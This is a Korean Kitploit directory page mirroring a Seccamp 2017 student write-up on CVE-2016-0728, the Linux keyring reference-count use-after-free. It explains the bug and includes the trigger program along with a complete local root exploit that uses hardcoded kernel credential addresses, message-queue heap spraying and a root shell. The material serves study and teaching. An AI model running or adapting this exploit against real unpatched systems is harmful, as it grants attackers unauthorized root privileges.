Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2016-0728 — 교육용 Linux 커널 익스플로잇으로, CVE-2016-0728(키 보존 서비스의 use-after-free 취약점)에 대한 상세 분석, PoC 코드, 권한 상승을 위한 완화 방안 논의를 포함합니다. | Kitploit
도구/GitHubGitHub/hal0taso/cve-2016-0728
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubhal0taso/cve-2016-0728

CVE-2016-0728

교육용 Linux 커널 익스플로잇으로, CVE-2016-0728(키 보존 서비스의 use-after-free 취약점)에 대한 상세 분석, PoC 코드, 권한 상승을 위한 완화 방안 논의를 포함합니다.

저장소 보기
129년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2016-0728

Seccamp 2017 과제

다음 프로그램은 Linux 커널 3.8~4.4에 존재하는 취약점을 악용하고 있습니다. 이 프로그램의 실행으로 인해 발생하는 문제점을 설명하십시오. 또한, 이 취약점을 더욱 악용하여 root 권한 상승을 수행하는 익스플로잇을 작성하고, 자신이 시도한 동작 환경이나 고려한 점 등을 설명하십시오. 추가로, 이러한 공격을 완화하는 대책 방법을 최대한 많이 제시하고 설명하십시오. 완전히 이해하지 못해도 괜찮습니다. 이해한 부분까지의 정보나 시행 과정, 느낀 점 등을 자신의 말로 기술하십시오. 또한 참고한 사이트나 문헌이 있다면 그 출처를 명시하십시오.

#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

Introduction

검증 환경은 다음과 같습니다.

$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

저는 이 취약점을 처음 알게 되었는데, 조사하여 알게 된 점과 그 과정에서 시도해본 것에 대해 기술합니다. 먼저, 이 프로그램에서 사용되는 키 저장 서비스에 대해, 그리고 이번 프로그램이 악용하는 Use-After-Free 취약점과 그것이 프로그램의 무엇 때문에 발생하는지 설명하고, 이로 인해 어떤 문제가 발생하는지에 대해 서술합니다. 이번 취약점은 CVE-2016-0728로 등록되어 있으며, 그 개요에 대해서는 다음 사이트를 참고했습니다.

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

또한, Linux의 키 저장 서비스에 대해서도 처음 알게 된 것이었기 때문에, IBM의 Linux 키 저장 서비스 입문 웹페이지

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

와 검증 환경인 Linux kernel 3.19의 소스 코드

https://www.kernel.org/

커널 메시지를 호스트 OS에 네트워크를 통해 보내는 데 DEBUG HACKS - 디버깅을 극대화하는 테크닉&도구(O'REILLY)

를 참고했습니다.

이 프로그램(이하 leak.c라고 부릅니다)은 Linux의 키 저장 서비스에 존재하는 버그를 악용하고 있으며, 이 버그로 인해 Use-After-Free 취약점으로 이어집니다. Use-After-Free 취약점이란, 프로그램의 불일치로 인해 해제된 힙 메모리 주소가 참조될 경우 임의의 코드가 실행 가능해지는 것입니다. 먼저, 이 프로그램이 사용하는 시스템 콜 keyctl()에 대해 설명하고, 거기에 어떤 버그가 존재하는지 기술합니다.

각 프로세스는 keyctl(KEYCTL_JOIN_SESSION_KEYRING, name)이라는 시스템 콜을 통해 현재 세션을 위한 프로세스별 키링을 생성할 수 있습니다. 이 키링은 그 이름 name을 참조함으로써 프로세스 간에 공유할 수 있습니다. 만약 프로세스가 이미 세션 키링을 가지고 있다면, 이 시스템 콜은 세션 키링을 새로운 키링으로 교체합니다. 여기서의 동작을 더 잘 알기 위해 커널 소스 코드의 /security/keys/process_keys.c에 있는 join_session_keyring 함수를 참조했습니다. 그것은 다음과 같은 프로그램으로 되어 있습니다. 세션 키링을 새로운 세션 키링으로 교체할 때 key_put이라는 함수를 스킵합니다. key_put 함수는 인수로 주어진 키링의 참조를 폐기하는 함수입니다. 그것을 스킵함으로써 새로운 키링에 대한 참조가 남은 상태가 되며, 이것이 Use-After-Free 취약점으로 이어집니다.

이 키링이 프로세스 간에 공유될 때, 구조체 key의 usage 멤버에 저장된 내부 참조 횟수가 증가합니다. usage 멤버는 atomic_t라는 타입인데, 이것은 실제로는 int형 변수 하나를 포함하는 struct의 typedef로 정의되어 있습니다. 또한, 이 usage 멤버의 오버플로를 방지하는 메커니즘이 없기 때문에, 이 멤버를 증가시킴으로써 오버플로하여 0이 될 때까지 참조할 수 있습니다. usage 멤버가 0이 되면, 키링 서브시스템 내부의 가비지 컬렉션에 의해 그 키링이 해제됩니다. 이 해제된 영역에 사용자 공간에서 다른 임의의 처리를 수행하는 커널 모듈을 배치함으로써 그 처리를 커널의 권한으로 실행할 수 있습니다.

참고한 사이트에서는 leak.c를 keyutils라는 라이브러리로 컴파일하여 실행하면 /proc/keys에 leaked_key라는 세션 키링이 등록되고 100번 참조된 것으로 표시됩니다. 이 프로그램을 실행하기 전후에 leaked-keyring이 다음과 같이 표시되는 것을 확인했습니다.

# 실행 전
$ cat /proc/keys
$ ./leak
# 실행 후
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

그러나 검증 환경에서는 leaked-keyring이 표시되지 않았습니다. 시험 삼아 for 루프의 조건문을 i < 0x1000000처럼 큰 수로 해보면, 프로그램 실행 중에는 leaked-keyring이 표시되었습니다. 이번에는 usage 멤버를 오버플로시켜 key를 해제하고 그곳에 새로운 커널 객체를 배치함으로써 공격이 성립합니다. 그래서 실제로 시도해보기로 했습니다. exploit 코드는 다음 사이트를 참고했습니다.

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}


	puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }

    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
   
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;
}
도구 다운로드